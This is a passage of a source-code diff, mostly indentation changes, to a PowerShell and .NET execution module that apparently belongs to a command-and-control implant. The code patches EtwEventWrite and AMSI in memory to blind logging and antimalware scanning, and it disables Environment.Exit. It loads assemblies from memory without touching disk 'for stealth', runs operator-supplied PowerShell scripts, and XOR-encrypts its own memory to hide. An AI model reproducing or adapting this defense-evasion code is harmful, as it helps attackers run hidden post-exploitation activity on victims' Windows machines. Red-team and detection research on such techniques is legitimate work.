Load_2'.\n"; + info += "Notes:\n"; + info += " - Assemblies are kept in memory and can be reused without reloading.\n"; + info += " - Ensure the correct type and method names are specified when using custom DLLs.\n"; + info += " - This module avoids writing files to disk, enhancing stealth.\n"; + info += " - If you run 'init' in a process where the CLR is already loaded, you may encounter:\n"; + info += " 'Failed: DefaultAppDomain - Load_2'.\n"; #endif - return info; + return info; } @@ -228,147 +228,147 @@ int PwSh::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if ((splitedCmd.size() == 2 || splitedCmd.size() == 4) && splitedCmd[1] == "init") - { - std::string inputFile = "PowerShellRunner.dll"; // Default - std::string type = "PowerShellRunner.PowerShellRunner"; // Default + if ((splitedCmd.size() == 2 || splitedCmd.size() == 4) && splitedCmd[1] == "init") + { + std::string inputFile = "PowerShellRunner.dll"; // Default + std::string type = "PowerShellRunner.PowerShellRunner"; // Default - if (splitedCmd.size() == 4) - { - inputFile = splitedCmd[2]; - type = splitedCmd[3]; - } + if (splitedCmd.size() == 4) + { + inputFile = splitedCmd[2]; + type = splitedCmd[3]; + } - if (endsWithDLL(inputFile)) - { - if (type.empty()) - { - c2Message.set_returnvalue("For DLL, you must specify the fully-qualified type name, e.g., Namespace.ClassName.\n"); - return -1; - } - } - else - { - c2Message.set_returnvalue("Invalid file type. Must be .dll or .exe\n"); - return -1; - } + if (endsWithDLL(inputFile)) + { + if (type.empty()) + { + c2Message.set_returnvalue("For DLL, you must specify the fully-qualified type name, e.g., Namespace.ClassName.\n"); + return -1; + } + } + else + { + c2Message.set_returnvalue("Invalid file type. Must be .dll or .exe\n"); + return -1; + } - std::ifstream myfile; - myfile.open(inputFile, std::ios::binary); + std::ifstream myfile; + myfile.open(inputFile, std::ios::binary); - if (!myfile) - { - std::string newInputFile = m_toolsDirectoryPath + inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile = newInputFile; - } + if (!myfile) + { + std::string newInputFile = m_toolsDirectoryPath + inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile = newInputFile; + } - if (!myfile) - { - c2Message.set_returnvalue("Couldn't open file.\n"); - return -1; - } + if (!myfile) + { + c2Message.set_returnvalue("Couldn't open file.\n"); + return -1; + } - c2Message.set_inputfile(inputFile); + c2Message.set_inputfile(inputFile); - std::string fileContent(std::istreambuf_iterator(myfile), {}); - myfile.close(); + std::string fileContent(std::istreambuf_iterator(myfile), {}); + myfile.close(); - c2Message.set_cmd(loadModule); - c2Message.set_data(fileContent.data(), fileContent.size()); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_args(type); - } - else if(splitedCmd.size()>=3 && splitedCmd[1]=="run") - { - std::string argument; - if(splitedCmd.size()>=3) - { - for(int i=2; i=3 && splitedCmd[1]=="run") + { + std::string argument; + if(splitedCmd.size()>=3) + { + for(int i=2; i(myfile), {}); - myfile.close(); + std::string fileContent(std::istreambuf_iterator(myfile), {}); + myfile.close(); - std::string payload = "New-Module -ScriptBlock {\n"; - payload += fileContent; - payload += "\nExport-ModuleMember -Function * -Alias *;};"; + std::string payload = "New-Module -ScriptBlock {\n"; + payload += fileContent; + payload += "\nExport-ModuleMember -Function * -Alias *;};"; - c2Message.set_cmd(importModulePS); - c2Message.set_args(payload); - c2Message.set_instruction(splitedCmd[0]); - } - else if(splitedCmd.size()==3 && splitedCmd[1]=="script") - { - std::string inputFile = splitedCmd[2]; + c2Message.set_cmd(importModulePS); + c2Message.set_args(payload); + c2Message.set_instruction(splitedCmd[0]); + } + else if(splitedCmd.size()==3 && splitedCmd[1]=="script") + { + std::string inputFile = splitedCmd[2]; - std::ifstream myfile; - myfile.open(inputFile, std::ios::binary); + std::ifstream myfile; + myfile.open(inputFile, std::ios::binary); - if (!myfile) - { - std::string newInputFile = m_toolsDirectoryPath + inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile = newInputFile; - } + if (!myfile) + { + std::string newInputFile = m_toolsDirectoryPath + inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile = newInputFile; + } - if (!myfile) - { - c2Message.set_returnvalue("Couldn't open file.\n"); - return -1; - } + if (!myfile) + { + c2Message.set_returnvalue("Couldn't open file.\n"); + return -1; + } - c2Message.set_inputfile(inputFile); + c2Message.set_inputfile(inputFile); - std::string fileContent(std::istreambuf_iterator(myfile), {}); - myfile.close(); + std::string fileContent(std::istreambuf_iterator(myfile), {}); + myfile.close(); - std::string payload = "Invoke-Command -ScriptBlock {\n"; - payload += fileContent; - payload += "};"; + std::string payload = "Invoke-Command -ScriptBlock {\n"; + payload += fileContent; + payload += "};"; - c2Message.set_cmd(scriptPS); - c2Message.set_args(payload); - c2Message.set_instruction(splitedCmd[0]); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + c2Message.set_cmd(scriptPS); + c2Message.set_args(payload); + c2Message.set_instruction(splitedCmd[0]); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } @@ -404,92 +404,92 @@ int PwSh::process(C2Message &c2Message, C2Message &c2RetMessage) #ifdef __linux__ #elif _WIN32 - string cmd = c2Message.cmd(); + string cmd = c2Message.cmd(); - int ret=0; - if(m_firstRun) - { - ret = initCLR(); - if(ret!=0) - { - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_errorCode(ret); - return -1; - } - - m_firstRun=false; - } + int ret=0; + if(m_firstRun) + { + ret = initCLR(); + if(ret!=0) + { + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_errorCode(ret); + return -1; + } + + m_firstRun=false; + } - if(cmd==loadModule) - { - std::string type = c2Message.args(); + if(cmd==loadModule) + { + std::string type = c2Message.args(); - ret = loadAssembly(c2Message.data(), type); - if(ret!=0) - { - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_errorCode(ret); - return -1; - } + ret = loadAssembly(c2Message.data(), type); + if(ret!=0) + { + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_errorCode(ret); + return -1; + } - c2RetMessage.set_returnvalue("Success"); - m_moduleLoaded=true; - } - else if(cmd==runDll) - { - std::string argument = c2Message.args(); + c2RetMessage.set_returnvalue("Success"); + m_moduleLoaded=true; + } + else if(cmd==runDll) + { + std::string argument = c2Message.args(); - std ::string result; - ret = invokeMethodDll(argument, result); - if(ret!=0) - { - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_errorCode(ret); - return -1; - } + std ::string result; + ret = invokeMethodDll(argument, result); + if(ret!=0) + { + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_errorCode(ret); + return -1; + } - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(cmd); - c2RetMessage.set_returnvalue(result); - } - else if(cmd==importModulePS) - { - std::string argument = c2Message.args(); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + } + else if(cmd==importModulePS) + { + std::string argument = c2Message.args(); - std::string result; - ret = invokeMethodDll(argument, result); - if(ret!=0) - { - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_errorCode(ret); - return -1; - } + std::string result; + ret = invokeMethodDll(argument, result); + if(ret!=0) + { + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_errorCode(ret); + return -1; + } - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(cmd); - c2RetMessage.set_returnvalue(result); - } - else if(cmd==scriptPS) - { - std::string argument = c2Message.args(); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + } + else if(cmd==scriptPS) + { + std::string argument = c2Message.args(); - std ::string result; - ret = invokeMethodDll(argument, result); - if(ret!=0) - { - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_errorCode(ret); - return -1; - } + std ::string result; + ret = invokeMethodDll(argument, result); + if(ret!=0) + { + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_errorCode(ret); + return -1; + } - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(cmd); - c2RetMessage.set_returnvalue(result); - } + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + } #endif - return 0; + return 0; } @@ -502,9 +502,9 @@ int PwSh::process(C2Message &c2Message, C2Message &c2RetMessage) typedef HRESULT(WINAPI *funcCLRCreateInstance) ( - REFCLSID clsid, - REFIID riid, - LPVOID * ppInterface + REFCLSID clsid, + REFIID riid, + LPVOID * ppInterface ); @@ -513,17 +513,17 @@ static const GUID xCLSID_ICLRRuntimeHost = { 0x90F1A06E, 0x7712, 0x4762, {0x86, void* findStringInMemory(const char* target, void* startAddress, int lenght) { - char* address = (char*)startAddress; - size_t targetLength = std::strlen(target); + char* address = (char*)startAddress; + size_t targetLength = std::strlen(target); - for (size_t i = 0; i <= lenght - targetLength; ++i) - { - if (std::memcmp(address + i, target, targetLength) == 0) - { - return (void*)(address+i); - } - } - return nullptr; + for (size_t i = 0; i <= lenght - targetLength; ++i) + { + if (std::memcmp(address + i, target, targetLength) == 0) + { + return (void*)(address+i); + } + } + return nullptr; } @@ -534,157 +534,157 @@ void* findStringInMemory(const char* target, void* startAddress, int lenght) // https://github.com/fortra/No-Consolation/blob/main/source/console.c int PwSh::initCLR() { - // Patch EtwEventWrite - bool isPatchEtw = true; - if(isPatchEtw) - { - void * pEventWrite = (void*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); - - HANDLE hProc=(HANDLE)-1; + // Patch EtwEventWrite + bool isPatchEtw = true; + if(isPatchEtw) + { + void * pEventWrite = (void*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); + + HANDLE hProc=(HANDLE)-1; - DWORD oldprotect = 0; - // VirtualProtect(pEventWrite, 1024, PAGE_READWRITE, &oldprotect); + DWORD oldprotect = 0; + // VirtualProtect(pEventWrite, 1024, PAGE_READWRITE, &oldprotect); - HANDLE hProcess = GetCurrentProcess(); - SIZE_T dwSize = 1024; - Sw3NtProtectVirtualMemory_(hProcess, &pEventWrite, &dwSize, PAGE_READWRITE, &oldprotect); + HANDLE hProcess = GetCurrentProcess(); + SIZE_T dwSize = 1024; + Sw3NtProtectVirtualMemory_(hProcess, &pEventWrite, &dwSize, PAGE_READWRITE, &oldprotect); - #ifdef _WIN64 - // memcpy(pEventWrite, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret - char patch[] = "\x48\x33\xc0\xc3"; // xor rax, rax; ret - int patchSize = 4; - #else - // memcpy(pEventWrite, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14 - char patch[] patch = "\x33\xc0\xc2\x14\x00"; // xor rax, rax; ret - int patchSize = 5; - #endif - - WriteProcessMemory(hProc, pEventWrite, (PVOID)patch, patchSize, nullptr); + #ifdef _WIN64 + // memcpy(pEventWrite, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret + char patch[] = "\x48\x33\xc0\xc3"; // xor rax, rax; ret + int patchSize = 4; + #else + // memcpy(pEventWrite, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14 + char patch[] patch = "\x33\xc0\xc2\x14\x00"; // xor rax, rax; ret + int patchSize = 5; + #endif + + WriteProcessMemory(hProc, pEventWrite, (PVOID)patch, patchSize, nullptr); - // VirtualProtect(pEventWrite, 1024, oldprotect, &oldprotect); - Sw3NtProtectVirtualMemory_(hProcess, &pEventWrite, &dwSize, oldprotect, &oldprotect); - } + // VirtualProtect(pEventWrite, 1024, oldprotect, &oldprotect); + Sw3NtProtectVirtualMemory_(hProcess, &pEventWrite, &dwSize, oldprotect, &oldprotect); + } - // Patch AMSI - HMODULE hAmsi = LoadLibrary("amsi.dll"); - std::string target = "AMSI"; - BYTE* baseAddress = (BYTE*)GetProcAddress(hAmsi, "AmsiScanBuffer"); - int lenght = 0x100; + // Patch AMSI + HMODULE hAmsi = LoadLibrary("amsi.dll"); + std::string target = "AMSI"; + BYTE* baseAddress = (BYTE*)GetProcAddress(hAmsi, "AmsiScanBuffer"); + int lenght = 0x100; - void* address = findStringInMemory(target.c_str(), (void*)baseAddress, lenght); - if(address) - { - DWORD oldprotect = 0; - VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); + void* address = findStringInMemory(target.c_str(), (void*)baseAddress, lenght); + if(address) + { + DWORD oldprotect = 0; + VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); - std::string patch = "ASMI"; - memcpy( (void*)(address), (void*)(patch.c_str()), patch.size()); + std::string patch = "ASMI"; + memcpy( (void*)(address), (void*)(patch.c_str()), patch.size()); - VirtualProtect(address, 1024, oldprotect, &oldprotect); - } - else - { - } + VirtualProtect(address, 1024, oldprotect, &oldprotect); + } + else + { + } - HMODULE hMscoree = LoadLibrary("mscoree.dll"); + HMODULE hMscoree = LoadLibrary("mscoree.dll"); - // - // Load CLR - // - funcCLRCreateInstance pCLRCreateInstance = NULL; - pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(hMscoree, "CLRCreateInstance"); + // + // Load CLR + // + funcCLRCreateInstance pCLRCreateInstance = NULL; + pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(hMscoree, "CLRCreateInstance"); - HRESULT hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&m_pMetaHost)); - if (FAILED(hr)) - return ERROR_INIT_CLR_1; + HRESULT hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&m_pMetaHost)); + if (FAILED(hr)) + return ERROR_INIT_CLR_1; - hr = m_pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&m_pRuntimeInfo)); - if (FAILED(hr)) - return ERROR_INIT_CLR_2; + hr = m_pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&m_pRuntimeInfo)); + if (FAILED(hr)) + return ERROR_INIT_CLR_2; - BOOL loadable; - hr = m_pRuntimeInfo->IsLoadable(&loadable); - if (FAILED(hr)) - return ERROR_INIT_CLR_3; + BOOL loadable; + hr = m_pRuntimeInfo->IsLoadable(&loadable); + if (FAILED(hr)) + return ERROR_INIT_CLR_3; - hr = m_pRuntimeInfo->GetInterface(xCLSID_ICLRRuntimeHost, IID_PPV_ARGS(&m_pClrRuntimeHost)); - if (FAILED(hr)) - return ERROR_INIT_CLR_4; - - m_pCustomHostControl = new MyHostControl(); - m_pClrRuntimeHost->SetHostControl(m_pCustomHostControl); + hr = m_pRuntimeInfo->GetInterface(xCLSID_ICLRRuntimeHost, IID_PPV_ARGS(&m_pClrRuntimeHost)); + if (FAILED(hr)) + return ERROR_INIT_CLR_4; + + m_pCustomHostControl = new MyHostControl(); + m_pClrRuntimeHost->SetHostControl(m_pCustomHostControl); - // start the CLR - hr = m_pClrRuntimeHost->Start(); - if (FAILED(hr)) - return ERROR_INIT_CLR_5; + // start the CLR + hr = m_pClrRuntimeHost->Start(); + if (FAILED(hr)) + return ERROR_INIT_CLR_5; - // Now we get the ICorRuntimeHost interface so we can use the normal (deprecated) assembly load API calls - hr = m_pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&m_pCorHost); - if (FAILED(hr)) - return ERROR_INIT_CLR_6; + // Now we get the ICorRuntimeHost interface so we can use the normal (deprecated) assembly load API calls + hr = m_pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&m_pCorHost); + if (FAILED(hr)) + return ERROR_INIT_CLR_6; - // Get a pointer to the default AppDomain in the CLR. - hr = m_pCorHost->GetDefaultDomain(&m_spAppDomainThunk); - if (FAILED(hr)) - return ERROR_INIT_CLR_7; + // Get a pointer to the default AppDomain in the CLR. + hr = m_pCorHost->GetDefaultDomain(&m_spAppDomainThunk); + if (FAILED(hr)) + return ERROR_INIT_CLR_7; - hr = m_spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&m_spDefaultAppDomain)); - if (FAILED(hr)) - return ERROR_INIT_CLR_8; + hr = m_spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&m_spDefaultAppDomain)); + if (FAILED(hr)) + return ERROR_INIT_CLR_8; - m_targetAssembly = new TargetAssembly(); - m_pCustomHostControl->setTargetAssembly(m_targetAssembly); + m_targetAssembly = new TargetAssembly(); + m_pCustomHostControl->setTargetAssembly(m_targetAssembly); - // - // patch exit - // https://www.outflank.nl/blog/2024/02/01/unmanaged-dotnet-patching/ - // - _Assembly* mscorlib; - m_spDefaultAppDomain->Load_2(SysAllocString(L"mscorlib, Version=4.0.0.0"), &mscorlib); + // + // patch exit - // https://www.outflank.nl/blog/2024/02/01/unmanaged-dotnet-patching/ + // + _Assembly* mscorlib; + m_spDefaultAppDomain->Load_2(SysAllocString(L"mscorlib, Version=4.0.0.0"), &mscorlib); - _Type* exitClass; - mscorlib->GetType_2(SysAllocString(L"System.Environment"), &exitClass); + _Type* exitClass; + mscorlib->GetType_2(SysAllocString(L"System.Environment"), &exitClass); - _MethodInfo* exitInfo; - BindingFlags exitFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Static); - exitClass->GetMethod_2(SysAllocString(L"Exit"), exitFlags, &exitInfo); + _MethodInfo* exitInfo; + BindingFlags exitFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Static); + exitClass->GetMethod_2(SysAllocString(L"Exit"), exitFlags, &exitInfo); - _Type* methodInfoClass; - mscorlib->GetType_2(SysAllocString(L"System.Reflection.MethodInfo"), &methodInfoClass); + _Type* methodInfoClass; + mscorlib->GetType_2(SysAllocString(L"System.Reflection.MethodInfo"), &methodInfoClass); - _PropertyInfo* methodHandleProperty; - BindingFlags methodHandleFlags = (BindingFlags)(BindingFlags_Instance | BindingFlags_Public); - methodInfoClass->GetProperty(SysAllocString(L"MethodHandle"), methodHandleFlags, &methodHandleProperty); + _PropertyInfo* methodHandleProperty; + BindingFlags methodHandleFlags = (BindingFlags)(BindingFlags_Instance | BindingFlags_Public); + methodInfoClass->GetProperty(SysAllocString(L"MethodHandle"), methodHandleFlags, &methodHandleProperty); - VARIANT methodHandlePtr = {0}; - methodHandlePtr.vt = VT_UNKNOWN; - methodHandlePtr.punkVal = exitInfo; + VARIANT methodHandlePtr = {0}; + methodHandlePtr.vt = VT_UNKNOWN; + methodHandlePtr.punkVal = exitInfo; - SAFEARRAY* methodHandleArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); - VARIANT methodHandleValue = {0}; - methodHandleProperty->GetValue(methodHandlePtr, methodHandleArgs, &methodHandleValue); + SAFEARRAY* methodHandleArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); + VARIANT methodHandleValue = {0}; + methodHandleProperty->GetValue(methodHandlePtr, methodHandleArgs, &methodHandleValue); - _Type* rtMethodHandleType; - mscorlib->GetType_2(SysAllocString(L"System.RuntimeMethodHandle"), &rtMethodHandleType); + _Type* rtMethodHandleType; + mscorlib->GetType_2(SysAllocString(L"System.RuntimeMethodHandle"), &rtMethodHandleType); - _MethodInfo* getFuncPtrMethodInfo; - BindingFlags getFuncPtrFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Instance); - rtMethodHandleType->GetMethod_2(SysAllocString(L"GetFunctionPointer"), getFuncPtrFlags, &getFuncPtrMethodInfo); + _MethodInfo* getFuncPtrMethodInfo; + BindingFlags getFuncPtrFlags = (BindingFlags)(BindingFlags_Public | BindingFlags_Instance); + rtMethodHandleType->GetMethod_2(SysAllocString(L"GetFunctionPointer"), getFuncPtrFlags, &getFuncPtrMethodInfo); - SAFEARRAY* getFuncPtrArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); - VARIANT exitPtr = {0}; - getFuncPtrMethodInfo->Invoke_3(methodHandleValue, getFuncPtrArgs, &exitPtr); + SAFEARRAY* getFuncPtrArgs = SafeArrayCreateVector(VT_EMPTY, 0, 0); + VARIANT exitPtr = {0}; + getFuncPtrMethodInfo->Invoke_3(methodHandleValue, getFuncPtrArgs, &exitPtr); - DWORD oldProt = 0; - BYTE patch = 0xC3; + DWORD oldProt = 0; + BYTE patch = 0xC3; - VirtualProtect(exitPtr.byref, 1, PAGE_READWRITE, &oldProt); - memcpy(exitPtr.byref, &patch, 1); - VirtualProtect(exitPtr.byref, 1, oldProt, &oldProt); + VirtualProtect(exitPtr.byref, 1, PAGE_READWRITE, &oldProt); + memcpy(exitPtr.byref, &patch, 1); + VirtualProtect(exitPtr.byref, 1, oldProt, &oldProt); - return 0; + return 0; } @@ -693,98 +693,98 @@ typedef HRESULT(__stdcall* CLRIdentityManagerProc)(REFIID, IUnknown**); int PwSh::loadAssembly(const std::string& data, const std::string& type) { - // - // Load the assembly from the data stream - // - CLRIdentityManagerProc pIdentityManagerProc = NULL; - m_pRuntimeInfo->GetProcAddress("GetCLRIdentityManager", (void**)&pIdentityManagerProc); + // + // Load the assembly from the data stream + // + CLRIdentityManagerProc pIdentityManagerProc = NULL; + m_pRuntimeInfo->GetProcAddress("GetCLRIdentityManager", (void**)&pIdentityManagerProc); - ICLRAssemblyIdentityManager* pIdentityManager; - HRESULT hr = pIdentityManagerProc(IID_ICLRAssemblyIdentityManager, (IUnknown**)&pIdentityManager); - if (FAILED(hr)) - return ERROR_LOAD_ASSEMLBY_1; - - m_pCustomHostControl->updateTargetAssembly(pIdentityManager, data); - LPWSTR identityBuffer = m_pCustomHostControl->getAssemblyInfo(); + ICLRAssemblyIdentityManager* pIdentityManager; + HRESULT hr = pIdentityManagerProc(IID_ICLRAssemblyIdentityManager, (IUnknown**)&pIdentityManager); + if (FAILED(hr)) + return ERROR_LOAD_ASSEMLBY_1; + + m_pCustomHostControl->updateTargetAssembly(pIdentityManager, data); + LPWSTR identityBuffer = m_pCustomHostControl->getAssemblyInfo(); - // With the modification done to the host control, we can now load the assembly with load2 as if it was on the dik - BSTR assemblyName = SysAllocString(identityBuffer); - // mscorlib::_AssemblyPtr spAssembly; - hr = m_spDefaultAppDomain->Load_2(assemblyName, &m_spAssembly); - if (FAILED(hr)) - { - // std::cerr << "Load_2 failed: " << std::hex << hr << std::endl; - // _com_error err(hr); - // std::wcerr << L"Error message: " << err.ErrorMessage() << std::endl; - SysFreeString(assemblyName); - return ERROR_LOAD_ASSEMLBY_3; - } - SysFreeString(assemblyName); - pIdentityManager->Release(); + // With the modification done to the host control, we can now load the assembly with load2 as if it was on the dik + BSTR assemblyName = SysAllocString(identityBuffer); + // mscorlib::_AssemblyPtr spAssembly; + hr = m_spDefaultAppDomain->Load_2(assemblyName, &m_spAssembly); + if (FAILED(hr)) + { + // std::cerr << "Load_2 failed: " << std::hex << hr << std::endl; + // _com_error err(hr); + // std::wcerr << L"Error message: " << err.ErrorMessage() << std::endl; + SysFreeString(assemblyName); + return ERROR_LOAD_ASSEMLBY_3; + } + SysFreeString(assemblyName); + pIdentityManager->Release(); - // - // Invoke the constructor of the class - // - if(m_spAssembly==nullptr) - return ERROR_INVOKE_METHOD_11; + // + // Invoke the constructor of the class + // + if(m_spAssembly==nullptr) + return ERROR_INVOKE_METHOD_11; - // The .NET class to instantiate. - bstr_t bstrClassName(type.data()); + // The .NET class to instantiate. + bstr_t bstrClassName(type.data()); - // Get the Type of PwShRunner. - hr = m_spAssembly->GetType_2(bstrClassName, &m_spType); - if (FAILED(hr) || m_spType == NULL) - return ERROR_INVOKE_METHOD_1; + // Get the Type of PwShRunner. + hr = m_spAssembly->GetType_2(bstrClassName, &m_spType); + if (FAILED(hr) || m_spType == NULL) + return ERROR_INVOKE_METHOD_1; - try - { - variant_t vtEmpty; - variant_t vtInstance; - hr = m_spType->InvokeMember_3( - _bstr_t(L""), // Empty string to invoke constructor - static_cast(BindingFlags_CreateInstance | BindingFlags_Public | BindingFlags_Instance), - NULL, vtEmpty, NULL, &m_vtInstance); - } - catch (_com_error &e) - { - return ERROR_INVOKE_METHOD_3; - } - catch (...) - { - return ERROR_INVOKE_METHOD_4; - } + try + { + variant_t vtEmpty; + variant_t vtInstance; + hr = m_spType->InvokeMember_3( + _bstr_t(L""), // Empty string to invoke constructor + static_cast(BindingFlags_CreateInstance | BindingFlags_Public | BindingFlags_Instance), + NULL, vtEmpty, NULL, &m_vtInstance); + } + catch (_com_error &e) + { + return ERROR_INVOKE_METHOD_3; + } + catch (...) + { + return ERROR_INVOKE_METHOD_4; + } - return 0; + return 0; } int PwSh::encryptMem() { - if(m_memEcrypted) - return 0; - else - { - std::string toto = "sdfsdgdfhgfk,jhgkfdssqSQSFD"; - m_pCustomHostControl->xorMemory(toto); - m_memEcrypted=true; - } - return 0; + if(m_memEcrypted) + return 0; + else + { + std::string toto = "sdfsdgdfhgfk,jhgkfdssqSQSFD"; + m_pCustomHostControl->xorMemory(toto); + m_memEcrypted=true; + } + return 0; } int PwSh::decryptMem() { - if(!m_memEcrypted) - return 0; - else - { - std::string toto = "sdfsdgdfhgfk,jhgkfdssqSQSFD"; - m_pCustomHostControl->xorMemory(toto); - m_memEcrypted=false; - } - return 0; + if(!m_memEcrypted) + return 0; + else + { + std::string toto = "sdfsdgdfhgfk,jhgkfdssqSQSFD"; + m_pCustomHostControl->xorMemory(toto); + m_memEcrypted=false; + } + return 0; } @@ -809,7 +809,7 @@ typedef struct _CURDIR typedef struct _RTL_USER_PROCESS_PARAMETERS_CUSTOM { - ULONG MaximumLength; + ULONG MaximumLength; ULONG Length; ULONG Flags; @@ -852,49 +852,49 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS_CUSTOM struct PEB_LDR_DATA_CUSTOM { - ULONG Length; - BOOLEAN Initialized; - HANDLE SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID EntryInProgress; - BOOLEAN ShutdownInProgress; - HANDLE ShutdownThreadId; + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; }; struct PEB_CUSTOM { - BOOLEAN InheritedAddressSpace; - BOOLEAN ReadImageFileExecOptions; - BOOLEAN BeingDebugged; - union - { - BOOLEAN BitField; - struct - { - BOOLEAN ImageUsesLargePages : 1; - BOOLEAN IsProtectedProcess : 1; - BOOLEAN IsImageDynamicallyRelocated : 1; - BOOLEAN SkipPatchingUser32Forwarders : 1; - BOOLEAN IsPackagedProcess : 1; - BOOLEAN IsAppContainer : 1; - BOOLEAN IsProtectedProcessLight : 1; - BOOLEAN SpareBits : 1; - }; - }; - HANDLE Mutant; - PVOID ImageBaseAddress; - PEB_LDR_DATA_CUSTOM* Ldr; - PRTL_USER_PROCESS_PARAMETERS_CUSTOM ProcessParameters; - //... + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN IsPackagedProcess : 1; + BOOLEAN IsAppContainer : 1; + BOOLEAN IsProtectedProcessLight : 1; + BOOLEAN SpareBits : 1; + }; + }; + HANDLE Mutant; + PVOID ImageBaseAddress; + PEB_LDR_DATA_CUSTOM* Ldr; + PRTL_USER_PROCESS_PARAMETERS_CUSTOM ProcessParameters; + //... }; // load AMSI int PwSh::invokeMethodDll(const string& argument, std::string& result) { - // Convert argument to wstring + // Convert argument to wstring wstring wCommand(argument.begin(), argument.end()); // Convert to BSTR @@ -907,66 +907,66 @@ int PwSh::invokeMethodDll(const string& argument, std::string& result) VARIANT vtPSInvokeReturnVal; VariantInit(&vtPSInvokeReturnVal); - // take care of the capture of the output + // take care of the capture of the output #ifdef _M_IX86 - PEB_CUSTOM * ProcEnvBlk = (PEB_CUSTOM *) __readfsdword(0x30); + PEB_CUSTOM * ProcEnvBlk = (PEB_CUSTOM *) __readfsdword(0x30); #else - PEB_CUSTOM * ProcEnvBlk = (PEB_CUSTOM *)__readgsqword(0x60); + PEB_CUSTOM * ProcEnvBlk = (PEB_CUSTOM *)__readgsqword(0x60); #endif - PRTL_USER_PROCESS_PARAMETERS_CUSTOM processParameters = ProcEnvBlk->ProcessParameters; - HANDLE consoleHandle = processParameters->StandardOutput; - processParameters->StandardOutput = m_ioPipeWrite; + PRTL_USER_PROCESS_PARAMETERS_CUSTOM processParameters = ProcEnvBlk->ProcessParameters; + HANDLE consoleHandle = processParameters->StandardOutput; + processParameters->StandardOutput = m_ioPipeWrite; - try - { - // Create SAFEARRAY with one VARIANT element + try + { + // Create SAFEARRAY with one VARIANT element SAFEARRAY* psaInvokeArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1); LONG idx = 0; SafeArrayPutElement(psaInvokeArgs, &idx, &varCommand); - HRESULT hr = m_spType->InvokeMember_3( - _bstr_t(L"Invoke"), - static_cast(BindingFlags_InvokeMethod | BindingFlags_Public | BindingFlags_Instance), - NULL, - m_vtInstance, // Pass the instance of PowerShellSession here - psaInvokeArgs, - &vtPSInvokeReturnVal); - } - catch (_com_error &e) - { - processParameters->StandardOutput = consoleHandle; + HRESULT hr = m_spType->InvokeMember_3( + _bstr_t(L"Invoke"), + static_cast(BindingFlags_InvokeMethod | BindingFlags_Public | BindingFlags_Instance), + NULL, + m_vtInstance, // Pass the instance of 